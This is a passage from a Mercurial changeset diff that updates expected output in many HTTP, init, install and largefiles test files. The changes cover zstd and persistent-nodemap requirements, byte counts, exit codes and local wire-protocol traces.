(esc) - write(9 from 9) -> (845) 4\\r\\n\x00\x00\x00)\\r\\n (esc) - write(47 from 47) -> (798) 29\\r\\n\x0bCHANGEGROUP\x00\x00\x00\x00\x01\x01\x07\x02 \x01version02nbchanges1\\r\\n (esc) - write(9 from 9) -> (789) 4\\r\\n\x00\x00\x01\xd2\\r\\n (esc) - write(473 from 473) -> (316) 1d2\\r\\n\x00\x00\x00\xb2\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>6a3df4de388f3c4f8e28f4f9a814299a3cbb5f50\\ntest\\n0 0\\nfoo\\n\\ninitial\x00\x00\x00\x00\x00\x00\x00\xa1j=\xf4\xde8\x8f (307) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - write(9 from 9) -> (298) 4\\r\\n\x00\x00\x00 \\r\\n (esc) - write(38 from 38) -> (260) 20\\r\\n\x08LISTKEYS\x00\x00\x00\x01\x01\x00 \x06namespacephases\\r\\n (esc) - write(9 from 9) -> (251) 4\\r\\n\x00\x00\x00:\\r\\n (esc) - write(64 from 64) -> (187) 3a\r\n96ee1d7354c4ad7372047672c36a1f561e3a6a4c 1\npublishing True\r\n - write(9 from 9) -> (178) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - write(9 from 9) -> (169) 4\\r\\n\x00\x00\x00#\\r\\n (esc) - write(41 from 41) -> (128) 23\\r\\n\x08LISTKEYS\x00\x00\x00\x02\x01\x00 namespacebookmarks\\r\\n (esc) - write(9 from 9) -> (119) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) - write(9 from 9) -> (110) 4\\r\\n\x00\x00\x00\x1d\\r\\n (esc) - write(35 from 35) -> (75) 1d\\r\\n\x16cache:rev-branch-cache\x00\x00\x00\x03\x00\x00\\r\\n (esc) - write(9 from 9) -> (66) 4\\r\\n\x00\x00\x00'\\r\\n (esc) - write(45 from 45) -> (21) 27\\r\\n\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x00default\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\\r\\n (esc) + $ "$PYTHON" $TESTDIR/filtertraceback.py < error.log | tail -22 + write(9 from 9) -> (747) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + write(9 from 9) -> (738) 4\\r\\n\x00\x00\x00)\\r\\n (esc) + write(47 from 47) -> (691) 29\\r\\n\x0bCHANGEGROUP\x00\x00\x00\x00\x01\x01\x07\x02 \x01version02nbchanges1\\r\\n (esc) + write(9 from 9) -> (682) 4\\r\\n\x00\x00\x01\xd2\\r\\n (esc) + write(473 from 473) -> (209) 1d2\\r\\n\x00\x00\x00\xb2\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\xee\x1dsT\xc4\xadsr\x04vr\xc3j\x1fV\x1e:jL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>6a3df4de388f3c4f8e28f4f9a814299a3cbb5f50\\ntest\\n0 0\\nfoo\\n\\ninitial\x00\x00\x00\x00\x00\x00\x00\xa1j=\xf4\xde8\x8f (200) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + write(9 from 9) -> (191) 4\\r\\n\x00\x00\x00 \\r\\n (esc) + write(38 from 38) -> (153) 20\\r\\n\x08LISTKEYS\x00\x00\x00\x01\x01\x00 \x06namespacephases\\r\\n (esc) + write(9 from 9) -> (144) 4\\r\\n\x00\x00\x00:\\r\\n (esc) + write(64 from 64) -> (80) 3a\r\n96ee1d7354c4ad7372047672c36a1f561e3a6a4c 1\npublishing True\r\n + write(9 from 9) -> (71) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) + write(9 from 9) -> (62) 4\\r\\n\x00\x00\x00#\\r\\n (esc) + write(41 from 41) -> (21) 23\\r\\n\x08LISTKEYS\x00\x00\x00\x02\x01\x00 namespacebookmarks\\r\\n (esc) write(9 from 9) -> (12) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) write(9 from 9) -> (3) 4\\r\\n\x00\x00\x00\x00\\r\\n (esc) write(3 from 5) -> (0) 0\r\n diff -r bc268ea9f984 -r f67b8946bb1b tests/test-http-bundle1.t --- a/tests/test-http-bundle1.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-http-bundle1.t Tue Apr 20 11:01:06 2021 -0400 @@ -38,7 +38,8 @@ #if no-reposimplestore $ hg clone --stream http://localhost:$HGPORT/ copy 2>&1 streaming all changes - 6 files to transfer, 606 bytes of data + 6 files to transfer, 606 bytes of data (no-zstd !) + 6 files to transfer, 608 bytes of data (zstd !) transferred * bytes in * seconds (*/sec) (glob) searching for changes no changes found @@ -225,7 +226,8 @@ #if no-reposimplestore $ hg clone http://user:pass@localhost:$HGPORT2/ dest 2>&1 streaming all changes - 7 files to transfer, 916 bytes of data + 7 files to transfer, 916 bytes of data (no-zstd !) + 7 files to transfer, 919 bytes of data (zstd !) transferred * bytes in * seconds (*/sec) (glob) searching for changes no changes found diff -r bc268ea9f984 -r f67b8946bb1b tests/test-http-protocol.t --- a/tests/test-http-protocol.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-http-protocol.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,8 +1,13 @@ #require no-chg +persistent-nodemap is not enabled by default. It is not relevant for this test +so disable it. + $ . $TESTDIR/wireprotohelpers.sh $ cat >> $HGRCPATH << EOF + > [format] + > use-persistent-nodemap = no > [web] > push_ssl = false > allow_push = * @@ -321,7 +326,7 @@ s> Content-Type: application/mercurial-cbor\r\n s> Content-Length: *\r\n (glob) s> \r\n - s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa4Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogNv1capabilitiesY\x01\xf7batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa4Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogNv1capabilitiesY\x01\xe4batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash sending heads command s> setsockopt(6, 1, 1) -> None (?) s> POST /api/exp-http-v2-0003/ro/heads HTTP/1.1\r\n @@ -437,7 +442,7 @@ s> Server: testing stub value\r\n s> Date: $HTTP_DATE$\r\n s> Content-Type: application/mercurial-0.1\r\n - s> Content-Length: 503\r\n + s> Content-Length: 484\r\n s> \r\n s> batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash @@ -474,7 +479,7 @@ s> Server: testing stub value\r\n s> Date: $HTTP_DATE$\r\n s> Content-Type: application/mercurial-0.1\r\n - s> Content-Length: 503\r\n + s> Content-Length: 484\r\n s> \r\n real URL is http://$LOCALIP:$HGPORT/redirected (glob) s> batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash @@ -745,7 +750,7 @@ s> Server: testing stub value\r\n s> Date: $HTTP_DATE$\r\n s> Content-Type: application/mercurial-0.1\r\n - s> Content-Length: 503\r\n + s> Content-Length: 484\r\n s> \r\n real URL is http://$LOCALIP:$HGPORT/redirected (glob) s> batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash diff -r bc268ea9f984 -r f67b8946bb1b tests/test-http.t --- a/tests/test-http.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-http.t Tue Apr 20 11:01:06 2021 -0400 @@ -29,7 +29,8 @@ #if no-reposimplestore $ hg clone --stream http://localhost:$HGPORT/ copy 2>&1 streaming all changes - 9 files to transfer, 715 bytes of data + 9 files to transfer, 715 bytes of data (no-zstd !) + 9 files to transfer, 717 bytes of data (zstd !) transferred * bytes in * seconds (*/sec) (glob) updating to branch default 4 files updated, 0 files merged, 0 files removed, 0 files unresolved @@ -348,20 +349,20 @@ list of changesets: 7f4e523d01f2cc3765ac8934da3d14db775ff872 bundle2-output-bundle: "HG20", 5 parts total - bundle2-output-part: "replycaps" 224 bytes payload + bundle2-output-part: "replycaps" 207 bytes payload bundle2-output-part: "check:phases" 24 bytes payload bundle2-output-part: "check:updated-heads" streamed payload bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload bundle2-output-part: "phase-heads" 24 bytes payload sending unbundle command - sending 1040 bytes + sending 1023 bytes devel-peer-request: POST http://localhost:$HGPORT2/?cmd=unbundle - devel-peer-request: Content-length 1040 + devel-peer-request: Content-length 1023 devel-peer-request: Content-type application/mercurial-0.1 devel-peer-request: Vary X-HgArg-1,X-HgProto-1 devel-peer-request: X-hgproto-1 0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull devel-peer-request: 16 bytes of commands arguments in headers - devel-peer-request: 1040 bytes of data + devel-peer-request: 1023 bytes of data devel-peer-request: finished in *.???? seconds (200) (glob) bundle2-input-bundle: no-transaction bundle2-input-part: "reply:changegroup" (advisory) (params: 0 advisory) supported @@ -382,6 +383,7 @@ devel-peer-request: 16 bytes of commands arguments in headers devel-peer-request: finished in *.???? seconds (200) (glob) received listkey for "phases": 15 bytes + (sent 9 HTTP requests and * bytes; received * bytes in responses) (glob) (?) $ hg rollback -q $ sed 's/.*] "/"/' < ../access.log @@ -503,7 +505,7 @@ requesting all changes remote: abort: this is an exercise abort: pull failed on remote - [255] + [100] $ cat error.log disable pull-based clones @@ -515,7 +517,7 @@ remote: abort: server has pull-based clones disabled abort: pull failed on remote (remove --pull if specified or upgrade Mercurial) - [255] + [100] #if no-reposimplestore ... but keep stream clones working diff -r bc268ea9f984 -r f67b8946bb1b tests/test-inherit-mode.t --- a/tests/test-inherit-mode.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-inherit-mode.t Tue Apr 20 11:01:06 2021 -0400 @@ -134,6 +134,8 @@ 00660 ../push/.hg/00changelog.i 00770 ../push/.hg/cache/ 00660 ../push/.hg/cache/branch2-base + 00660 ../push/.hg/cache/rbc-names-v1 + 00660 ../push/.hg/cache/rbc-revs-v1 00660 ../push/.hg/dirstate 00660 ../push/.hg/requires 00770 ../push/.hg/store/ diff -r bc268ea9f984 -r f67b8946bb1b tests/test-init.t --- a/tests/test-init.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-init.t Tue Apr 20 11:01:06 2021 -0400 @@ -21,6 +21,8 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -59,6 +61,8 @@ $ hg --config format.usestore=false init old $ checknewrepo old generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 testonly-simplestore (reposimplestore !) sparserevlog @@ -70,6 +74,8 @@ store created 00changelog.i created generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -83,6 +89,8 @@ 00changelog.i created fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -96,6 +104,8 @@ 00changelog.i created dotencode fncache + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 store testonly-simplestore (reposimplestore !) @@ -213,6 +223,8 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -233,6 +245,8 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -249,6 +263,8 @@ dotencode fncache generaldelta + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-install.t --- a/tests/test-install.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-install.t Tue Apr 20 11:01:06 2021 -0400 @@ -184,7 +184,7 @@ $ cd $TESTTMP $ unset PYTHONPATH -#if py3 ensurepip +#if py3 ensurepip network-io $ "$PYTHON" -m venv installenv >> pip.log Hack: Debian does something a bit different in ensurepip.bootstrap. This makes @@ -197,8 +197,10 @@ Note: we use this weird path to run pip and hg to avoid platform differences, since it's bin on most platforms but Scripts on Windows. - $ ./installenv/*/pip install --no-index $TESTDIR/.. >> pip.log + $ ./installenv/*/pip install $TESTDIR/.. >> pip.log Failed building wheel for mercurial (?) + WARNING: You are using pip version *; however, version * is available. (glob) (?) + You should consider upgrading via the '$TESTTMP/installenv/bin/python* -m pip install --upgrade pip' command. (glob) (?) $ ./installenv/*/hg debuginstall || cat pip.log checking encoding (ascii)... checking Python executable (*) (glob) @@ -222,17 +224,17 @@ no problems detected #endif -#if virtualenv no-py3 +#if virtualenv no-py3 network-io Note: --no-site-packages is the default for all versions enabled by hghave - $ "$PYTHON" -m virtualenv --never-download installenv >> pip.log + $ "$PYTHON" -m virtualenv installenv >> pip.log DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7. (?) DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support (?) Note: we use this weird path to run pip and hg to avoid platform differences, since it's bin on most platforms but Scripts on Windows. - $ ./installenv/*/pip install --no-index $TESTDIR/.. >> pip.log + $ ./installenv/*/pip install $TESTDIR/.. >> pip.log DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7. (?) DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7. More details about Python 2 support in pip, can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support (?) DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality. (?) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-largefiles-misc.t --- a/tests/test-largefiles-misc.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-largefiles-misc.t Tue Apr 20 11:01:06 2021 -0400 @@ -675,6 +675,7 @@ searching for changes no changes found largefiles: no files to upload + [1] check messages when there are files to upload: diff -r bc268ea9f984 -r f67b8946bb1b tests/test-largefiles.t --- a/tests/test-largefiles.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-largefiles.t Tue Apr 20 11:01:06 2021 -0400 @@ -1751,7 +1751,7 @@ $ hg rm sub2/large6 $ hg up -r. abort: outstanding uncommitted merge - [255] + [20] - revert should be able to revert files introduced in a pending merge $ hg revert --all -r . diff -r bc268ea9f984 -r f67b8946bb1b tests/test-lfconvert.t --- a/tests/test-lfconvert.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-lfconvert.t Tue Apr 20 11:01:06 2021 -0400 @@ -99,6 +99,8 @@ fncache generaldelta largefiles + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-lfs-largefiles.t --- a/tests/test-lfs-largefiles.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-lfs-largefiles.t Tue Apr 20 11:01:06 2021 -0400 @@ -293,6 +293,8 @@ fncache generaldelta lfs + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-lfs-serve-access.t --- a/tests/test-lfs-serve-access.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-lfs-serve-access.t Tue Apr 20 11:01:06 2021 -0400 @@ -66,7 +66,7 @@ $LOCALIP - - [$LOGDATE$] "POST /.git/info/lfs/objects/batch HTTP/1.1" 400 - (glob) $LOCALIP - - [$LOGDATE$] "GET /?cmd=capabilities HTTP/1.1" 200 - (glob) $LOCALIP - - [$LOGDATE$] "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) - $LOCALIP - - [$LOGDATE$] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%252C03%250Acheckheads%253Drelated%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Arev-branch-cache%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=525251863cad618e55d483555f3d00a2ca99597e&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) + $LOCALIP - - [$LOGDATE$] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%252C03%250Acheckheads%253Drelated%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=525251863cad618e55d483555f3d00a2ca99597e&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) $LOCALIP - - [$LOGDATE$] "POST /.git/info/lfs/objects/batch HTTP/1.1" 400 - (glob) $ rm -f $TESTTMP/access.log $TESTTMP/errors.log @@ -110,9 +110,7 @@ bundle2-input-part: "listkeys" (params: 1 mandatory) supported bundle2-input-part: "phase-heads" supported bundle2-input-part: total payload size 24 - bundle2-input-part: "cache:rev-branch-cache" (advisory) supported - bundle2-input-part: total payload size 39 - bundle2-input-bundle: 4 parts total + bundle2-input-bundle: 3 parts total checking for updated bookmarks updating the branch cache added 1 changesets with 1 changes to 1 files @@ -167,7 +165,7 @@ $LOCALIP - - [$LOGDATE$] "POST /missing/objects/batch HTTP/1.1" 404 - (glob) $LOCALIP - - [$LOGDATE$] "GET /subdir/mount/point?cmd=capabilities HTTP/1.1" 200 - (glob) $LOCALIP - - [$LOGDATE$] "GET /subdir/mount/point?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) - $LOCALIP - - [$LOGDATE$] "GET /subdir/mount/point?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%252C03%250Acheckheads%253Drelated%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Arev-branch-cache%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=525251863cad618e55d483555f3d00a2ca99597e&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) + $LOCALIP - - [$LOGDATE$] "GET /subdir/mount/point?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%252C03%250Acheckheads%253Drelated%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=525251863cad618e55d483555f3d00a2ca99597e&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) $LOCALIP - - [$LOGDATE$] "POST /subdir/mount/point/.git/info/lfs/objects/batch HTTP/1.1" 200 - (glob) $LOCALIP - - [$LOGDATE$] "GET /subdir/mount/point/.hg/lfs/objects/f03217a32529a28a42d03b1244fe09b6e0f9fd06d7b966d4d50567be2abe6c0e HTTP/1.1" 200 - (glob) @@ -313,7 +311,7 @@ $ cat $TESTTMP/access.log $LOCALIP - - [$LOGDATE$] "GET /?cmd=capabilities HTTP/1.1" 200 - (glob) $LOCALIP - - [$LOGDATE$] "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) - $LOCALIP - - [$LOGDATE$] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bookmarks=1&bundlecaps=HG20%2Cbundle2%3DHG20%250Abookmarks%250Achangegroup%253D01%252C02%252C03%250Acheckheads%253Drelated%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps%250Arev-branch-cache%250Astream%253Dv2&cg=1&common=0000000000000000000000000000000000000000&heads=525251863cad618e55d483555f3d00a2ca99597e&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=$USUAL_COMPRESSIONS$ partial-pull (glob) + $LOCALIP - - [$LOGDATE$] "GET /?cmd=getbundle HTTP/1.1" 200 - 